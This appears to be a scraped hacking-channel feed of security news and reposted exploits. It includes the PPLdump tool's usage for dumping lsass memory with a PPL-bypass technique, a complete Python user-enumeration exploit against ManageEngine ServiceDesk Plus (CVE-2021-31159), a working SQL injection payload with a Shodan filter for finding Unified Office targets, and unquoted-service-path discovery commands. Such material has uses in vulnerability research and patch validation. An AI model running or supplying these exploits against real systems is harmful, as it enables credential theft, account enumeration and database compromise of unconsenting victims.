Account takeover via stored XSS with arbitrary file upload

All the actions described in the article were performed with the permission of the site owner as the part of vulnerability tests. Requests…Continue reading on Medium »
Read more...

pyWhat — Identify Useful Information Within Files & Text

Continue reading on Medium »
Read more...

Polkit Version 0.105–26 0.117–2 Suffers a Local Privilege Escalation

More @ https://skynettools.com/Continue reading on Medium »
Read more...

pyWhat — Identify Useful Information Within Files & Text
https://skynettools.medium.com/pywhat-identify-useful-information-within-files-text-837e220128d9?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Continue reading on Medium » (https://skynettools.medium.com/pywhat-identify-useful-information-within-files-text-837e220128d9?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Polkit Version 0.105–26 0.117–2 Suffers a Local Privilege Escalation
https://skynettools.medium.com/polkit-version-0-105-26-0-117-2-suffers-a-local-privilege-escalation-6d10d9725058?source=rss------bug_bounty-5

More @ https://skynettools.com/Continue reading on Medium » (https://skynettools.medium.com/polkit-version-0-105-26-0-117-2-suffers-a-local-privilege-escalation-6d10d9725058?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

PPLdump - Dump The Memory Of A PPL With A Userland Exploit
http://www.kitploit.com/2021/06/ppldump-dump-memory-of-ppl-with.html

___________________________
@hacking_Attack
@Hacking_Video

Usage:
PPLdump.exe [-v] [-d] [-f]

Arguments:
PROC_NAME The name of a Process to dump
PROC_ID The ID of a Process to dump
DUMP_FILE The path of the output dump file

Options:
-v (Verbose) Enable verbose mode
-d (Debug) Enable debug mode (implies verbose)
-f (Force) Bypass DefineDosDevice error check

Examples:
PPLdump.exe lsass.exe lsass.dmp
PPLdump.exe -v 720 out.dmp
FAQ

Does it work on all versions of Windows?
First of all, PPLs were introduced with Windows 8.1 so older versions of Windows are obviously not supported. This project mainly targets Windows 10 (and its server editions) but I also tested it on older versions. You will find a summary table of the tests I did in the eponymous section.
How is it different from other tools?
Other PPL bypass tools usually execute arbitrary code in the Kernel through a digitally signed driver. This one is different as it involves only userland tricks and is (almost) fileless.
"Userland", you say?!
This tool leverages a very clever trick that was initially discussed by James Forshaw in 2018 (see Credits). It involves the use of the DefineDosDevice API function to trick the system into creating an arbitrary Known DLL entry. Since PPLs do not check the digital signature of Known DLLs, this can be later used to perform a DLL hijacking attack and execute arbitrary code inside a PPL.
Is it really "fileless"?
Although this tool performs a DLL hijacking attack as a second stage, it does not create a new DLL file on disk. Instead, it makes use of an NTFS transaction to virtually replace the content of an existing one, a technique directly inspired by the work of @_ForrestOrr (https://twitter.com/_ForrestOrr) (see Credits).
Can this tool cause a DoS?
Ths short answer is "no". First, it does not involve any direct Kernel access so there is no risk of causing a BSOD from this standpoint. In the worst case scenario, the tool might fail to remove the created Known DLL entry but, this will not cause a Denial of Service. It will just stay there until the next machine reboot. As the created entry would just be a symbolic link pointing to a non-existent section, the system would eventually fall back to the default location (i.e. the System32 folder) so it will not impact other programs running on the machine.
Tests
Windows version Build Edition Arch Admin SYSTEM Windows 10 20H2 19042 Pro x64 ✔️ ✔️ Windows 10 20H2 19042 Pro x86 ✔️ ✔️ Windows 10 1909 18363 Pro x64 ✔️ ✔️ Windows 10 1507 10240 Educational x64 ✔️ ✔️ Windows 10 1507 10240 Home x64 ✔️ ✔️ Windows 10 1507 10240 Pro x64 ✔️ ✔️ Windows Server 2019 17763 Standard x64 ✔️ ✔️ Windows Server 2019 17763 Essentials x64 ✔️ ✔️ Windows 8.1 9600 Pro x64 ⚠️ ⚠️ Windows Server 2012 R2 9600 Standard x64 ⚠️ ⚠️ ⚠️ The exploit fails on fully updated Windows 8.1 / Server 2012 R2 machines. I have yet to figure out which patch caused the error. [-] DefineDosDevice failed with error code 6 - The handle is invalid. On Windows 8.1 / Server 2012 R2, you might also have to compile the binary statically (see "Build instructions" below).Build instructions
This Visual Studio Solution comprises two projects (the executable and a payload DLL) that need to be compiled in a specific order. Everything is pre-configured, so you just have to follow these simple instructions. The compiled payload DLL is automatically embedded into the final executable. Open the Solution with Visual Studio 2019. Select Release / x64 or Release / x86 depending on the architecture of the target machine. Build > Build Solution. On Windows 8.1 / Server 2012 R2, you might have to compile the binary statically. Right-click on the PPLdump project. Go to Configuration Properties > C/C++ > Code Generation. Select Multi-threaded (/MT) as the Runtime Library option. Build the Solution.
Credits

___________________________
@hacking_Attack
@Hacking_Video

@tiraniddo (https://twitter.com/tiraniddo) - Windows Exploitation (https://www.kitploit.com/search/label/Windows%20Exploitation) Tricks: Exploiting (https://www.kitploit.com/search/label/Exploiting) Arbitrary Object Directory Creation for Local Elevation of Privilege
https://googleprojectzero.blogspot.com/2018/08/windows-exploitation-tricks-exploiting.html @_ForrestOrr (https://twitter.com/_ForrestOrr) - Masking Malicious Memory Artifacts – Part I: Phantom DLL Hollowing
https://www.forrest-orr.net/post/malicious-memory-artifacts-part-i-dll-hollowing

Download PPLdump (https://github.com/itm4n/PPLdump)

___________________________
@hacking_Attack
@Hacking_Video

Certified Pre-Owned
https://www.reddit.com/r/redteamsec/comments/o2994w/certified_preowned/

submitted by /u/dmchell (https://www.reddit.com/user/dmchell)
[link] (https://posts.specterops.io/certified-pre-owned-d95910965cd2) [comments] (https://www.reddit.com/r/redteamsec/comments/o2994w/certified_preowned/)

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Zoho ManageEngine ServiceDesk Plus 9.4 User Enumeration

https://2.bp.blogspot.com/-swqN45HZtSI/WWlvXv0Z4fI/AAAAAAAAIOY/czRV0nNAPTIk5N0xfOCTXuQJzRjI48a4wCLcBGAs/s1600/h53.png
Zoho ManageEngine ServiceDesk Plus version 9.4 suffers from a user enumeration vulnerability.

MD5 | 55c56b21ed33b96bade44b3319c1fcd0

Download
# Exploit Title: Zoho ManageEngine ServiceDesk Plus MSP - Active Directory User Enumeration (CVE-2021-31159)
# Date: 17/06/2021
# Exploit Author: Ricardo Ruiz (@ricardojoserf)
# CVE: CVE-2021-31159 (https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-31159)
# Vendor Homepage: https://www.manageengine.com
# Vendor Confirmation: https://www.manageengine.com/products/service-desk-msp/readme.html#10519
# Version: Previous to build 10519
# Tested on: Zoho ManageEngine ServiceDesk Plus 9.4
# Example: python3 exploit.py -t http://example.com/ -d DOMAIN -u USERSFILE [-o OUTPUTFILE]
# Repository (for updates and fixing bugs): https://github.com/ricardojoserf/CVE-2021-31159

import argparse
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def get_args():
parser = argparse.ArgumentParser()
parser.add_argument('-d', '--domain', required=True, action='store', help='Domain to attack')
parser.add_argument('-t', '--target', required=True, action='store', help='Target Url to attack')
parser.add_argument('-u', '--usersfile', required=True, action='store', help='Users file')
parser.add_argument('-o', '--outputfile', required=False, default="listed_users.txt", action='store', help='Output file')
my_args = parser.parse_args()
return my_args
def main():
args = get_args()
url = args.target
domain = args.domain
usersfile = args.usersfile
outputfile = args.outputfile

s = requests.session()
s.get(url)
resp_incorrect = s.get(url+"/ForgotPassword.sd?userName="+"nonexistentuserforsure"+"&dname="+domain, verify = False)
incorrect_size = len(resp_incorrect.content)
print("Incorrect size: %s"%(incorrect_size))

correct_users = []
users = open(usersfile).read().splitlines()
for u in users:
resp = s.get(url+"/ForgotPassword.sd?userName="+u+"&dname="+domain, verify = False)
valid = (len(resp.content) != incorrect_size)
if valid:
correct_users.append(u)
print("User: %s Response size: %s (correct: %s)"%(u, len(resp.content),str(valid)))

print("\nCorrect users\n")
with open(outputfile, 'w') as f:
for user in correct_users:
f.write("%s\n" % user)
print("- %s"%(user))

print("\nResults stored in %s\n"%(outputfile))
if __name__ == "__main__":
main()

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
VeryFitPro 3.2.8 Insecure Transit

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Unified Office Total Connect Now 1.0 SQL Injection

https://2.bp.blogspot.com/-trS7d3JOSJY/WWlvYoSx4fI/AAAAAAAAIOo/ua-jTrS9avcHrliD3JJHs9ifWyf14eAUwCLcBGAs/s1600/h57.png
Unified Office Total Connect Now version 1.0 suffers from a remote SQL injection vulnerability.

MD5 | da2163d25a6ee8709e8be515ad7c68f3

Download
# Exploit Title: Unified Office Total Connect Now 1.0 – 'data' SQL Injection
# Shodan Filter: http.title:"TCN User Dashboard"
# Date: 06-16-2021
# Exploit Author: Ajaikumar Nadar
# Vendor Homepage: https://unifiedoffice.com/
# Software Link: https://unifiedoffice.com/voip-business-solutions/
# Version: 1.0
# Tested on: CentOS + Apache/2.2.15

POC:
1. Go to url http://localhost/operator/operatorLogin.php and login
2. Capture the request in Burpsuite and use the payload as given below.
3. Observe the response which reveals the DB version of mysql.

Request:

POST /operator/operatorLogin.php HTTP/1.1
Host: localhost
Connection: close
Content-Length: 178
sec-ch-ua: "Chromium";v="89", ";Not A Brand";v="99"
Accept: */*
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: https://localhost
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://localhost/operator/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=sosbriscgul9onu25sf2731e81

data={"extension":"((select 1 from (select count(*), concat(0x3a,0x3a,(select version()),0x3a,0x3a, floor(rand()*2))a from information_schema.columns group by a)b))","pin":"bar"}
Response:

HTTP/1.1 400 Bad Request
Date: Wed, 16 Jun 2021 12:49:56 GMT
Server: Apache/2.2.15 (CentOS)
X-Powered-By: PHP/5.3.10
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 139
Connection: close
Content-Type: text/html; charset=UTF-8

Query failed, called from: sqlquery:/var/www/html/recpanel/operator/operatorLogin.php:62: Duplicate entry '::5.1.73::1' for key 'group_key'

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Workspace ONE Intelligent Hub 20.3.8.0 Unquoted Service Path

https://4.bp.blogspot.com/-42b-8Yu8ql4/WWlvfoDuyhI/AAAAAAAAIQE/GMGQD7Uo7DMncRccI_LNcWgfvYRkd0zwQCLcBGAs/s1600/h86.png
Workspace ONE Intelligent Hub version 20.3.8.0 suffers from an unquoted service path vulnerability.

MD5 | 5fb177061dfc0d10c5c028a420cf26ab

Download
# Exploit Title: Workspace ONE Intelligent Hub 20.3.8.0 - 'VMware Hub Health Monitoring Service' Unquoted Service Path
# Discovery by: Ismael Nava
# Discovery Date: 06-16-2021
# Vendor Homepage: https://www.vmware.com/mx/products/workspace-one/intelligent-hub.html
# Software Links : https://getwsone.com/
# Tested Version: 20.3.8.0
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 10 Enterprise 64 bits
# Step to discover Unquoted Service Path:

C:\>wmic service get name, displayname, pathname, startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" |findstr /i /v """
VMware Hub Health Monitoring Service VMware Hub Health Monitoring Service C:\Program Files (x86)\Airwatch\HealthMonitoring\Service\VMwareHubHealthMonitoring.exe Auto

C:\>sc qc "VMware Hub Health Monitoring Service"
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: VMware Hub Health Monitoring Service
TIPO : 10 WIN32_OWN_PROCESS
TIPO_INICIO : 2 AUTO_START
CONTROL_ERROR : 1 NORMAL
NOMBRE_RUTA_BINARIO: C:\Program Files (x86)\Airwatch\HealthMonitoring\Service\VMwareHubHealthMonitoring.exe
GRUPO_ORDEN_CARGA :
ETIQUETA : 0
NOMBRE_MOSTRAR : VMware Hub Health Monitoring Service
DEPENDENCIAS :
NOMBRE_INICIO_SERVICIO: LocalSystem


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video